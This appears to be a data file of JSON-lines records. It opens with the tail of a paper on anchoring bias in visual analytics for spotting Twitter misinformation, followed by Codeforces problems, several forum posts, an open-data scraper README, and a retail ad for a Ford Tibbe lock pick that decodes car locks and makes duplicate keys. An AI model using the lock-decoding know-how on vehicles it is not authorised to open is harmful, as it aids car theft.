cues / no visual anchor). In these models, we find that neither providing cues nor the visual anchors have a statistically significant fixed effect on user accuracy. Like previous rounds, strategy cues (when used), time and user confidence affect user accuracy. This suggests that while the strategy cues were helpful, some individuals choose to ignore (or perhaps did not fully trust or understand) the strategy cues. Second, we find visual anchors, especially the language features, have a positive effect on user confidence. For example, as compared to having no visual anchor (or cue), users provided both visual anchors on average had nearly an eight point higher confidence score. Interestingly, the social network cue alone does not provide a similar gain. One possible explanation could be users felt more comfortable with the social network views originally and hence, additional reinforcement of this view and strategy did not add further confidence.\nAccount-level analysis. While we did not find that the treatments had, on average, an effect on accuracy, we find that the treatment groups have some variation in accuracy when controlling for the account. Figure 4 provides the accuracy for each treatment as encoded by color (strategy cues provided) and shape (visual anchor). The x-axis provides decisions for each each account by treatment and the y-axis provides that treatment’s accuracy. Slight x-axis jittering was provided to separate points. Consider @MOMENT (Account 71) which was the most difficult account. We observe that groups with no visual anchor performed better on this account. The issue with Account 71 was that its cues were conflicting as it was only connected to a red (suspicious) account whereas its language features were not entirely consistent with 1L and 2L. Because of this problem, not only did the cues tend to hurt performance, but even visual anchors seem to drive sub-optimal performance for this account.\n3.3.3 Experiment Results - RQ2\nSimilar to Round 1, we find differences in Time Spent (Table 8) per view and coverage metrics (Table 9) in Round 2 depending on the treatments provided. We find there is strong significant differences on Time Spent between the SN and LF group () on the Accounts view. On the coverage metrics, we find significant difference on the use of LF sort between the red (suspicious) and green (real) accounts. Post hoc comparisons show a strong significance between the LF and Control groups () and between SN and LF groups () on the usage LF green sort. We also significant difference between the LF and Control groups () and between the SN and LF groups () while using the LF red sort.\nClustering users based on their interactions. To identify user behaviors with the coverage and time spent metrics, we used Ward’s D2 Agglomerative Hierarchical Clustering  to cluster users and features. To improve our results, we combine both Rounds 1 and 2 instead of running clustering on each individual round. Figure 3 provides a cluster heatmap visualization from the R package heatmaply . In this figure, each metric is normalized as the percentile (rank) across the metric. For example, yellow indicates a user who ranks high on that metric compared to all other users (regardless of group or round). Dark blue represents users with a low rank of that metric.\nTo determine the optimal number of clusters for the rows (features) and columns (users), we used the maximal average silhouette width method on the cophenetic distance of the dendrogram . The algorithm detected five clusters on the user-level, as identified by the five colors in the horizontal dendrogram. We then annotated the five clusters based on common attributes shared by users within a cluster.\nWe find the clusters can infer user strategies. For example, the ‘Slow and Steady’ cluster is mostly yellow, indicating a high rank across all metrics. These users explored the entire interface’s functionality for an extended period of time. On the other hand, the ‘Fast and Quick’ group is mostly dark blue as they ranked low in coverage metrics and time spent. The bottom two rows of the dendrogram provide the treatment group and round information for each user. One hypothesis is that users anchored on different view would adopt different analysis strategies. If this were true, we would expect that users would cluster based on such treatments. In part, we find some evidence. Take ‘Anchored to Social Network’ group as an example. Only one user who was treated with a LF visual anchor (dark blue) within this cluster. As we would expect, many are SN groups (light red) that received the SN visual anchors. However, what’s peculiar is the number of Control users (light blue), particularly those from Round 1 (light green). These users were not even given the social network cues! These users seem to naturally be drawn to this view more than other views.\nDescriptive statistics and distribution plots (Figure Figure 5) can also provide more context on each cluster. We find that the ‘Slow and Steady’ cluster users averaged much longer session times (M = 35.97 minutes). Further, these users were late starters who explored early. They averaged nearly 10 minutes before each users’ first decision submission. For context, other groups typically made their first decision between 3 and 7 minutes. We also find that these users actively used the Progress Bar (M = 21.5 times), indicating more organization, while also using both primary views (Social Network and Accounts) frequently. Interestingly, this cluster has, on average, the highest accuracy of 82.8%. Alternatively, we identified two clusters as users who focus more on either the SN (#1) or LF (#2). For example, cluster #1 spent 2.3x more time on the Social Network view than the Account view (i.e., LF) whereas the opposite holds for cluster #2.\nLast, we validated the clusters using response and post-questionnaire data that was not included in the clustering process. For instance, we find that the clusters provide a range of different ratings for the language features and social network functionality in the post-questionnaire. Users in the ‘Anchored to Social Network’ (#1), ‘Highly Confident’ (#3), and ‘Fast and Quick’ (#4) generally preferred the social network over the language features. However, the ‘Anchored to Language Features’ cluster (#5) was the only cluster to prefer, on average, the LF over SN. Alternatively, we can find distinct differences in user motivation, interest, and challenge between clusters like ‘Slow and Steady’ (#2) and ‘Fast and Quick’ (#4). The ‘Slow and Steady’ cluster tended to be the most motivated, interested, and challenged out of all of the clusters. This makes sense given their longer session times and heavy usage. While on the other hand, the ‘Fast and Quick’ cluster was the least motivated and interested. Likely this lack of interest led to their shorter session times and may factor in their lower accuracy.\nWe also used visual analytics to explore the user-level interaction logs by clusters. Figure 6 provides a scatter plots of fifteen example user sessions. In each plot, a dot represents an action for each of the six views. Slight y-axis jittering is applied to spread out overlapping actions. The x-axis represents the session time (in minutes) of each individual action. Each chart column represents three example user sessions from each cluster. Chart row order represents, in descending order, highly accurate users (7+ out of 8, top row), average users (5-6 out of 8, middle row), and inaccurate users (4 or less of 8, bottom row). Users C10, C103, and L6 had 100 percent accurate while S110 had the worst accuracy (1 out of 8). Outlier behaviors can also be identified from this plot. For instance, L103 followed the LF cues by almost exclusively using the Accounts view. Moreover, this user waited until the end of the session to make all decisions.\nWe were able to identify general patterns from these plots too. For example, the left-most column provides three users who are clustered to the ‘Anchored to Social Network’ group. These users tend to have many more actions in the Social Network view as compared to the Accounts, Tweet Panel, or Entities view. They seldomly use the Progress Bar (e.g., S104 and C1 use it somewhat while S108 never used the Progress Bar). Alternatively, we find examples in the ‘Slow and Steady’ group to have much longer user sessions, lasting well over thirty minutes (some even near forty minutes or more). These users tend to use a combination of all views like the Accounts, Social Network, and even the Tweet Panel views.\nPost-Questionnaire Feedback. Additional insight in understanding user strategies can be gleaned from the qualitative feedback provided by users in the post-questionnaire. For instance, some participants identified a lack of trust in the language features because of a lack of clarity of their composition: “I did not like making a decision based on you saying whether the language measures were good or bad, I wanted to understand the language measures better.” Others commented on the need for additional interface features, like a help menu, to aid in this intensive cognitive process: “it would be beneficial to have a ‘help’ section ON the platform to look at when needing the reminder of things the video mentioned.” Other users commented on the usability of views in general, like the entities and Tweet Panel view. For example, one user commented “I didn’t really understand the need of entities to determine fake articles.” While another user admitted that “I did not use the tweets or entity features of the interface.” Both comments explain users’ limited use of that view but was expected given the limited training to functionality for these views.\n4 Implications for VA Evaluation Practices\nWe argue that our findings are informative for guidance on training and tutorial during visualization evaluation with human subjects. Our findings show that visual anchors and strategy cues can significantly impact users’ confidence and time spent investigating in each view when performing tasks. In addition, evidence from our study suggest that being anchored to a particular view (SN) can lead to significant worse accuracy (Round 2). Anchoring to a subset views would lead to the over-reliance on (often incomplete) information presented in those views, thus preventing users from getting a comprehensive picture.\nSuch anchoring could occur due to the way we train participant how to user the visual interface before asking them to carry out the tasks. First, providing a general training video is a good idea, however, careful considerations are needed when devising a script or training video. The experimenter may want to make sure that all important features/views get equal coverage in the script/video. Second, providing a secondary video/script walking participants through solving the task with an example dataset is a great way to help participants get started. However, experimenters may unknowingly anchor some participants on an implied strategy implemented in the video/script.\nSince our experiments show that visual anchors can indeed impact multiple performance metrics (confidence, accuracy, time to decision), we would like to raise awareness of participants possibly being unintentionally anchored and suggest careful consideration on how to train users to use a visual interface.\n5 Limitations and Future Work\nIn this section, we outline study limitations along with identifying areas of future work for analyzing cognitive biases in visual analytics.\nLimitations. One limitation of our study was limited testing on the design of the interface. While the training process differed between groups, all users received the same interface. However, design layouts could have interaction effects with treatments. One approach could provide revised interface layouts to identify the marginal value of design or even each specific view in the decision-making process under cognitive bias treatments. For example, testing whether the strategy cues with only the Tweet Panel view (i.e., mimics everyday social media usage) can measure a baseline accuracy. With such a baseline, a more precise estimate of the effect of the visualizations can be inferred.\nA second limitation is the choice of accounts in the decision-making task. If we were to have selected more difficult accounts (like @MOMENT) than easy accounts (e.g., @GothamPost), we may find cognitive biases have a larger effect. Moreover, different accounts may also lend to other strategy cues that could affect the treatments.\nFuture Work. There are several promising paths of future work for understanding cognitive biases through visual analytics. First, there are many opportunities to expand Verifi to include additional tools in identifying misinformation including images, semantic text analysis (e.g., word embeddings), and account-level clusters. A newer version of Verifi  addresses many of these issues and provides a longer dataset of accounts with a broader range of accounts. With different stimuli, future experiments could explore the effect of visual anchors on image exploration (e.g., can exposures to extreme emotions affect users’ performance when provided images as well?). Further, future system iterations could include streaming components that test decision-making under dynamic data.\nSecond, future systems could incorporate a “suspicious” supervised model (e.g., ) as a credibility score for decision-makers. This would enable interpretation of higher dimensional features into a single vector. In doing so, users could be ranked on overall (or dimension level). A credibility score would lend itself to combine more cues into a transparent, easy to understand heuristics as cues (e.g., any accounts over score x are suspected of misinformation).\nLast, more research is needed on how individual differences affect decision-making in visual analytics. Our results, while promising, also indicate that some users are not affected by the strategy cues or visual anchors (e.g., some anchored to social network were from a different treatment). Said differently, some users’ decision-making seem to be based on their individual traits (e.g., experience, familiarity , cognitive ability ) rather than treatments. Future work could incorporate more sophisticated experiment designs by attempting to identify heterogeneous treatment effects [28, 3].\nIn this paper, we presented an experiment on the role of anchoring bias in users’ decision-making, interaction paths, and confidence in identifying misinformation on Twitter in visual analytic systems. We find that providing visual anchors and strategy cues can greatly affect users’ confidence but have mixed effects on users’ speed and decision accuracy. Secondary factors like view importance can also play a role in users’ confidence while strategy cues can drastically improve decision-making if used correctly (and not ignored). Last, exploration of user interaction logs can provide hints to users’ strategies and the effects such treatments can have for certain individuals. While we find that some users are susceptible to such anchoring biases, others can ignore such treatments – perhaps due to uncertainty or a lack of trust – leading individual attributes like motivation or interest can explain more of the users’ knowledge seeking behaviors.\n-  T. Amer, D. G. Gozli, and J. Pratt. Biasing spatial attention with semantic information: an event coding approach. Psychological research, pages 1–19, 2017.\n-  K. Andrews. Evaluation comes in many guises. Proceedings of the 2008 AVI workshop on BEyond time and errors: novel evaluation methods for informaiton visualization, (BELIV)., 2008.\n-  S. Athey and G. W. Imbens. The econometrics of randomized experiments. In Handbook of Economic Field Experiments, volume 1, pages 73–140. Elsevier, 2017.\n-  O. Bergman, T. Ellingsen, M. Johannesson, and C. Svensson. Anchoring and cognitive ability. Economics Letters, 107(1):66–68, 2010.\n-  S. E. Blackwell, M. Browning, A. Mathews, A. Pictet, J. Welch, J. Davies, P. Watson, J. R. Geddes, and E. A. Holmes. Positive imagery-based cognitive bias modification as a web-based treatment tool for depressed adults: a randomized controlled trial. Clinical Psychological Science, 3(1):91–111, 2015.\n-  D. Bonaretti, M. Ł. Bartosiak, and G. Piccoli. Cognitive anchoring of color cues on online review ratings. 2017.\n-  I. Cho, R. Wesslen, A. Karduni, S. Santhanam, S. Shaikh, and W. Dou. The anchoring effect in decision-making with visual analytics. In IEEE Conference on Visual Analytics Science and Technology (VAST), 2017.\n-  I. Cho, R. Wesslen, S. Volkova, W. Ribarsky, and W. Dou. Crystalball: A visual analytic system for future event discovery and analysis from social media data. In IEEE Conference on Visual Analytics Science and Technology (VAST), 2017.\n-  G. Ellis and A. Dix. Decision making under uncertainty in visualisation? In IEEE Conference on Visual Analytics Science and Technology (VAST), 2015.\n-  T. Galili. dendextend: an r package for visualizing, adjusting, and comparing trees of hierarchical clustering. Bioinformatics, 2015.\n-  T. Galili, A. O’Callaghan, J. Sidi, and C. Sievert. heatmaply: an r package for creating interactive cluster heatmaps for online publishing. Bioinformatics, 2017.\n-  T. Isenberg, P. Isenberg, J. Chen, M. Sedlmair, and T. Möller. A systematic review on the practice of evaluating visualization. IEEE Transactions on Visualization and Computer Graphics, 19(12):2818–2827, Dec 2013.\n-  D. Kahneman. 36 heuristics and biases. Scientists Making a Difference: One Hundred Eminent Behavioral and Brain Scientists Talk about Their Most Important Contributions, page 171, 2016.\n-  A. Karduni, I. Cho, R. Wesslen, S. Santhanam, S. Volkova, D. Arendt, S. Shaikh, and W. Dou. Vulnerable to misinformation? verifi! Submitted to VAST 2018, 2018.\n-  A. Karduni, R. Wesslen, S. Santhanam, I. Cho, S. Volkova, D. Arendt, S. Shaikh, and W. Dou. Can you verifi this? studying uncertainty and decision-making about misinformation in visual analytics. The 12th International AAAI Conference on Web and Social Media (ICWSM), 2018.\n-  D. A. Keim. Information visualization and visual data mining. IEEE transactions on Visualization and Computer Graphics, 8(1):1–8, 2002.\n-  H. Lam, E. Bertini, P. Isenberg, C. Plaisant, and S. Carpendale. Empirical studies in information visualization: Seven scenarios. IEEE Transactions on Visualization and Computer Graphics, 18(9):1520–1536, Sept 2012.\n-  D. M. Lazer, M. A. Baum, Y. Benkler, A. J. Berinsky, K. M. Greenhill, F. Menczer, M. J. Metzger, B. Nyhan, G. Pennycook, D. Rothschild, et al. The science of fake news. Science, 359(6380):1094–1096, 2018.\n-  F. Lieder, T. L. Griffiths, Q. J. Huys, and N. D. Goodman. The anchoring bias reflects rational use of cognitive resources. Psychonomic bulletin & review, pages 1–28, 2017.\n-  A. Loy, H. Hofmann, and D. Cook. Model choice and diagnostics for linear mixed-effects models using statistics on street corners. Journal of Computational and Graphical Statistics, 26(3):478–492, 2017.\n-  T. Munzner. Visualization analysis and design. CRC press, 2014.\n-  F. Murtagh and P. Legendre. Wardâs hierarchical agglomerative clustering method: which algorithms implement wardâs criterion? Journal of classification, 31(3):274–295, 2014.\n-  G. Pennycook, T. D. Cannon, and D. G. Rand. Implausibility and illusory truth: Prior exposure increases perceived accuracy of fake news but has no effect on entirely implausible statements. Available at SSRN, 2017.\n-  G. Pennycook and D. G. Rand. Crowdsourcing judgments of news source quality. 2018.\n-  C. Plaisant. The challenge of information visualization evaluation. In Proceedings of the Working Conference on Advanced Visual Interfaces, AVI ’04, pages 109–116, New York, NY, USA, 2004. ACM.\n-  J. Rajsic, D. E. Wilson, and J. Pratt. Confirmation bias in visual search. Journal of experimental psychology: human perception and performance, 41(5):1353, 2015.\n-  D. Sacha, H. Senaratne, B. C. Kwon, G. Ellis, and D. A. Keim. The role of uncertainty, awareness, and trust in visual analytics. IEEE transactions on visualization and computer graphics, 22(1):240–249, 2016.\n-  M. J. Salganik. Bit by bit: social research in the digital age. Princeton University Press, 2017.\n-  D. M. Shaffer, E. McManama, and F. H. Durgin. Manual anchoring biases in slant estimation affect matches even for near surfaces. Psychonomic bulletin & review, 22(6):1665–1670, 2015.\n-  K. Shu, A. Sliva, S. Wang, J. Tang, and H. Liu. Fake news detection on social media: A data mining perspective. ACM SIGKDD Explorations Newsletter, 19(1):22–36, 2017.\n-  A. Tversky and D. Kahneman. Judgment under uncertainty: Heuristics and biases. science, 185(4157):1124–1131, 1974.\n-  A. C. Valdez, M. Ziefle, and M. Sedlmair. A framework for studying biases in visualization research. 2017.\n-  A. C. Valdez, M. Ziefle, and M. Sedlmair. Priming and anchoring effects in visualization. IEEE transactions on visualization and computer graphics, 24(1):584–594, 2018.\n-  S. Volkova, K. Shaffer, J. Y. Jang, and N. Hodas. Separating facts from fiction: Linguistic models to classify suspicious and trusted news posts on twitter. In Proceedings of the 55th Annual Meeting of the Association for Computational Linguistics (Volume 2: Short Papers), volume 2, pages 647–653, 2017.\n-  S. Vosoughi, D. Roy, and S. Aral. The spread of true and false news online. Science, 359(6380):1146–1151, 2018.\n-  E. Wall, L. M. Blaha, L. Franklin, and A. Endert. Warning, bias may occur: A proposed approach to detecting cognitive bias in interactive visual analytics. In IEEE Conference on Visual Analytics Science and Technology (VAST), 2017.\n-  H. Wickham. ggplot2: Elegant Graphics for Data Analysis. Springer-Verlag New York, 2016.\n-  W. Wright, D. Sheffield, and S. Santosa. Argument mapper: Countering cognitive biases in analysis with critical (visual) thinking. In Information Visualisation (IV), 2017 21st International Conference, pages 250–255. IEEE, 2017.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "The New Year is coming! That's why many people today are busy preparing New Year presents. Vasily the Programmer is no exception.\n\nVasily knows that the best present is (no, it's not a contest) money. He's put n empty wallets from left to right in a row and decided how much money to put in what wallet. Vasily decided to put ai coins to the i-th wallet from the left.\n\nVasily is a very busy man, so the money are sorted into the bags by his robot. Initially, the robot stands by the leftmost wallet in the row. The robot can follow instructions of three types: go to the wallet that is to the left of the current one (if such wallet exists), go to the wallet that is to the right of the current one (if such wallet exists), put a coin to the current wallet. Due to some technical malfunctions the robot cannot follow two \"put a coin\" instructions in a row.\n\nVasily doesn't want to wait for long, so he wants to write a program for the robot that contains at most 106 operations (not necessarily minimum in length) the robot can use to put coins into the wallets. Help him.", "source": "cpt_codeforces", "language": "en", "token_count": 249, "token_count_with_eod": 250, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "I wonder if some people like me prefer to learn coding through examples rather than following already-made courses and then apply practical examples?A bottom-up approach rather than a top-down approach?\nFor example, I found out that I am more efficient when I know the basic syntax of a programming language and the main principles, and then reading the W3Schools documentation (for example) and then playing with these new learnt syntax with some examples on codepen.io and seeing the results.\nI then understand the concepts through the results, and not the other way around (1st concept 2nd practical examples).\nAt least for coding (for everything else I’m kind of an intellectual with a top-down approach)\nDon’t know whyn its just that I like practical examples in coding and seeing the immediate results, making mistakes and refining my coding skills by testing many many times until I get the desired result.\nAnybody has the same feeling or way of learning?\nNote: I also follow Free Code Compa and other coding wbsites formal courses at the same time, but sometimes when it gets too abstract, I dig my hands in the dirt and play with tech documentation even if I haven’t learn the basic foundation principles (is it risky?)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 252, "token_count_with_eod": 253, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Premium Ford Tibbe Pick & Decoder\nThis version of the Tibbe pick is of far stronger construction, made from stainless steel with an easy to use precise built in decoding gauge, a superb quality professional tool, for both beginners and professionals.\nThe Premium Ford Tibble Pick / Decoder comes in a fantastic metal storage case for protecting your Premium Tibbe Pick at all times, it includes a high quality version of this tool which is position-marked to give a clear reading of the lock code.\nThe set comes with a FREE Make Up key to be used once the lock is decoded, and a FREE CD Rom explaining how to use this superb tool and decoder, as well as a set of disks (1 to 4) to allow you to make up a duplicate key ready for use or key cutting.\nAlso included is an extended tension bar for the pick and screwdriver for the make-up key, and instructions on picking with this tool.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I’ve tried to change sort priority type in project settings, see if it will improve anything. It fixes some bugs, but makes another appear under different angles.\nChanging sorting priority on meshes does not help in this case. It only makes some crystals pop-out above all other.\nOne good solution that I found is to use Masked instead of Translucent in Blend Mode of the material. And then applying DitherTemporalAA node to the alpha texture.\nBut unfortunately, this blend mode does not support refraction. And crystals without refraction are lame\nAny sorting happens on per component basis, so if your crystals are one mesh, the order in which surfaces will appear solely depends on the order they were created in your content creation package and/or exported from it. Even if each crystal is a separate mesh(which you should not be doing anyway), the sorting will only grantee clean result if the meshes are spread out sufficiently.\nWhat you can do, is render your mesh into custom depth pass and in its material, check if pixel depth roughly equals custom depth. If so, set opacity to 1, otherwise 0.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You are given integers $$$d$$$ and $$$p$$$, $$$p$$$ is prime.\n\nAlso you have a mysterious device. It has memory cells, each contains an integer between $$$0$$$ and $$$p-1$$$. Also two instructions are supported, addition and raising to the $$$d$$$-th power. $$$\\textbf{Both are modulo}$$$ $$$p$$$.\n\nThe memory cells are numbered $$$1, 2, \\dots, 5000$$$. Initially cells $$$1$$$ and $$$2$$$ contain integers $$$x$$$ and $$$y$$$, respectively ($$$0 \\leqslant x, y \\leq p - 1$$$). All other cells contain $$$\\textbf{1}$$$s.\n\nYou can not directly access values in cells, and you $$$\\textbf{don't know}$$$ values of $$$x$$$ and $$$y$$$ (but you know they are written in first two cells). You mission, should you choose to accept it, is to write a program using the available instructions to obtain the product $$$xy$$$ modulo $$$p$$$ in one of the cells. You program should work for all possible $$$x$$$ and $$$y$$$.\n\nAddition instruction evaluates sum of values in two cells and writes it to third cell. This instruction is encoded by a string \"+ e1 e2 to\", which writes sum of values in cells e1 and e2 into cell to. Any values of e1, e2, to can coincide.\n\nSecond instruction writes the $$$d$$$-th power of a value in some cell to the target cell. This instruction is encoded by a string \"^ e to\". Values e and to can coincide, in this case value in the cell will be overwritten.\n\nLast instruction is special, this is the return instruction, and it is encoded by a string \"f target\". This means you obtained values $$$xy \\bmod p$$$ in the cell target. No instructions should be called after this instruction.\n\nProvide a program that obtains $$$xy \\bmod p$$$ and uses no more than $$$5000$$$ instructions (including the return instruction).\n\nIt is guaranteed that, under given constrains, a solution exists.", "source": "cpt_codeforces", "language": "en", "token_count": 455, "token_count_with_eod": 456, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "The Super Duper Secret Meeting of the Super Duper Secret Military Squad takes place in a Super Duper Secret Place. The place is an infinite plane with introduced Cartesian coordinate system. The meeting table is represented as a rectangle whose sides are parallel to the coordinate axes and whose vertexes are located at the integer points of the plane. At each integer point which belongs to the table perimeter there is a chair in which a general sits.\n\nSome points on the plane contain radiators for the generals not to freeze in winter. Each radiator is characterized by the number ri — the radius of the area this radiator can heat. That is, if the distance between some general and the given radiator is less than or equal to ri, than the general feels comfortable and warm. Here distance is defined as Euclidean distance, so the distance between points (x1, y1) and (x2, y2) is $$\\sqrt{(x_{1}-x_{2})^{2}+(y_{1}-y_{2})^{2}}$$\n\nEach general who is located outside the radiators' heating area can get sick. Thus, you should bring him a warm blanket. Your task is to count the number of warm blankets you should bring to the Super Duper Secret Place.\n\nThe generals who are already comfortable do not need a blanket. Also the generals never overheat, ever if they are located in the heating area of several radiators. The radiators can be located at any integer points on the plane, even inside the rectangle (under the table) or on the perimeter (directly under some general). Even in this case their radius does not change.", "source": "cpt_codeforces", "language": "en", "token_count": 336, "token_count_with_eod": 337, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "If you are getting to know someone, you have every right to ask questions if the other person also wishes to be known by you.\nHowever, what sometimes happens, is that people live so much \"in their own head\", that they think others should simply SEE them.\nBut not everyone will, and not everyone can.\nSo you have to ask questions.\nSpecially if you only see each other from time to time, and not on a regular basis, like in a setting of work or studies, for example.\nIf the person gets offended, don't fall into the trap of feeling offended because they felt offended, for this is when you will, unconsciously, choose to ignore that you have been denied the right to speak and ask questions at the first place, in other words, that you have been wronged, and now find yourself having to worry about them.\nThis is very wrong, and you have to see that it is wrong.\nOf course, some questions are out of question, or too fast, too soon, but people can let each other know what is sensitive matter and can also reassure each other in order to build trust and confidence.\nHaving said that, before all this had to happen, your intuition had probably warned you about that person but sometimes, we like to give people the benefit of the doubt, which is not always a good idea.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "This is an interactive problem.\n\nThis is a hard version of the problem. The difference from the easy version is that in the hard version $$$1 \\le t \\le \\min(n, 10^4)$$$ and the total number of queries is limited to $$$6 \\cdot 10^4$$$.\n\nPolycarp is playing a computer game. In this game, an array consisting of zeros and ones is hidden. Polycarp wins if he guesses the position of the $$$k$$$-th zero from the left $$$t$$$ times.\n\nPolycarp can make no more than $$$6 \\cdot 10^4$$$ requests totally of the following type:\n\n- ? $$$l$$$ $$$r$$$ — find out the sum of all elements in positions from $$$l$$$ to $$$r$$$ ($$$1 \\le l \\le r \\le n$$$) inclusive.\n\nTo make the game more interesting, each guessed zero turns into one and the game continues on the changed array. More formally, if the position of the $$$k$$$-th zero was $$$x$$$, then after Polycarp guesses this position, the $$$x$$$-th element of the array will be replaced from $$$0$$$ to $$$1$$$.\n\nHelp Polycarp win the game.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "to customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nCannot open document for editing in Sharepoint (MOSS 2007)\nI am experiencing a frustrating issue when I try to check out a document for editing in one of our Sharepoint sites (running MOSS 2007, Office 2010, IE9, Win 7 32 bit SP1), when I try to open the ...\nMay 27 '11 at 15:37\nnewest check-out windows-7 questions feed\nHot Network Questions\nPublic constructor of a private class\nWill Ospf advertising router id be modified during flooding?\nTool to reveal credentials in unencrypted POP3 connection\nKid's homework: 4 equations 5 unknowns? Going crazy!\nHow could there be a truly \"pure\" state?\nShould I unsubscribe uninterested mailing-list members?\nIs this function vulnerable to SQL injection?\nWhy did Microsoft choose the word \"Recycle Bin\"?\nWhat is the 'John Doe' of company names and logo's?\nWriting better JUnit tests\nWhy is router considered to be a layer 3 device while it can handle layer 4 headers too?\nJust found out my 13 year old girl is Bi and dating a 17 year old girl in an \"open\" relationship. Huh? Now what?\nCan we introduce new operations that make quintics solvable?\nWhy was the triceratops ill?\nFind the particular solutuon of the equation that satisfies condition\nWhat is the differences between mysql-client and mysql-client-core?\nIs machine language always binary?\nHow can a Paladin be converted into an Anti-Paladin?\nAre Master's becoming required for USA PhD programs?\nHow can I make my sed command work on OSX as well as Ubuntu\nGet old search style back in Nautilus\nQuestion about conjugate points\nWhen to use esc_html and when to use sanitize_text_field?\nAlgebra: What does \"is defined for\" mean?\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 563, "token_count_with_eod": 564, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "The list of don’ts.\nKnowing what not to do, is often easier then knowing what to do. Knowing what you want is more frequently in the forefront of your mind then knowing what’s best. In petty, insignificant scenarios, often we are not even aware of how little they really are. What matters one day, will not mean a thing say, in a week. Rules may be meant to be broken, but maybe not restrictions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 90, "token_count_with_eod": 91, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I am going to set up a new zpool. I plan to use nested datasets to store individual files. For example I could have the following datasets:\ntank tank/homes/user1 tank/homes/user2 ... tank/shares/pub tank/shares/misc ...\ntank is the zpool itself, it contains no files, instead, all files are stored in the datasets like\ntank/homes/user and so on.\nNow I want to set up a proper backup for this. The problem is that the zpool will be large (100T) and therefore, the incremental backup will take a long time, therefore the files can change during the backup and the backup agent will then retry the backup, which slows it further down etc.\nSo I planned to make a snapshot, like\nzfs snap tank@backup, then use the snapshot to perform the backup, and then destroy the snapshot afterwards.\nHowever, this does not work, as the snapshot\ntank@backup will not contain the sub-datasets like\ntank/shares/pub. However, with\nzfs snap -r tank@backup I get recursive snapshots, but I cannot use these, as it will be messy for the restore of the backup.\nUnfortunately, I cannot use\nzfs send and\nzfs receive for the backup, as I use IBM Tivoli / Spectrum Protect for the backup, i.e.\ndsmc, which, to my knowledge, needs files to backup, and I believe it won't work with\nSo I believe, I will probably end up with just backing up\n/tank/*, e.g. something like\ndsmc incremental /tank/* -subdir=yes, which ignores all ZFS features and will backup datasets like ordinary folders and so on.\nIs there probably a better method?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 369, "token_count_with_eod": 370, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "The OpenDataNow project is to create a central repository of scraped data in convenient formats that everyone can use right now, without needing to write their own screen scrapers. This repository is managed by a collection of screen scrapers maintained by the Ottawa open data community through GitHub.\nAt one of the Open Data Ottawa events in April, it became apparent that people working on different projects had all written their own screen scrapers, and many people had neat ideas but were lacking the data necessary to make them reality.\nOur hope is that OpenDataNow will help the community spend less time writing screen scrapers and more time doing awesome stuff.\nWhere can I find...\n- The data: http://repo.opendatanow.ca/\n- The GitHub repository: http://github.com/dlitz/opendatanow\n- Open Data Ottawa: http://www.opendataottawa.ca/\nHow does it work?\nOpenDataNow is really just a bunch of scripts that run on a server running Debian GNU/Linux (sid). Scripts can be written in Ruby, Python, Java, or whatever, as long as it can be made to run in this environment.\nWhenever changes are pushed to the GitHub repository, the server automatically runs \"script/stop\", kills any running processes, pulls the changes, updates the crontab, and restarts the server by running \"script/start\". (See script/root/cycle-daemon for details.)\nSome tasks (such as installing new Debian packages) must be done manually by a system administrator, but the idea is to let others maintain the repository with as little administrator intervention as possible.\nHow can I help?\nThe best way to help is to fork the GitHub repository at http://github.com/dlitz/opendatanow, push your changes, then send us a pull request.\n- Contribute screen scrapers. More screen scrapers means more data available for everyone in the community.\n- Contribute data transformations. Data in XML when you prefer JSON? Write a translator.\n- Write automated tests. Right now, we have no way of knowing when a scraper stops working. Automated testing would helps us a lot.\n- Write documentation. The documentation for OpenDataNow is pretty sketchy right now.\n- Make web pages. The OpenDataNow website is basically non-existant at this point. It could use improvement.\n- Get others involved. We need all the help we can get.\nWho's behind this?\n- Dwayne C. Litzenberger\n- Your name here\nIs this legal?\nOpenDataNow arose out of discussions at an event organized by Open Data Ottawa, a grassroots organization that will be launching Ottawa's first open data hackfest on April 24, 2010. Coinciding with the hackfest, the City of Ottawa will begin releasing their data to the public in formats suitable for re-use. The idea is that, eventually, most city data will be made public in a manner similar to http://data.gov/ in the U.S. In the meantime, the community has received permission to scrape City of Ottawa data ourselves. (At least, that's what was announced at the last Open Data Ottawa event.)\nCopyright (for the scrapers)\nCopyright (c) 2010 Dwayne C. Litzenberger\nThis program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\nYou should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": 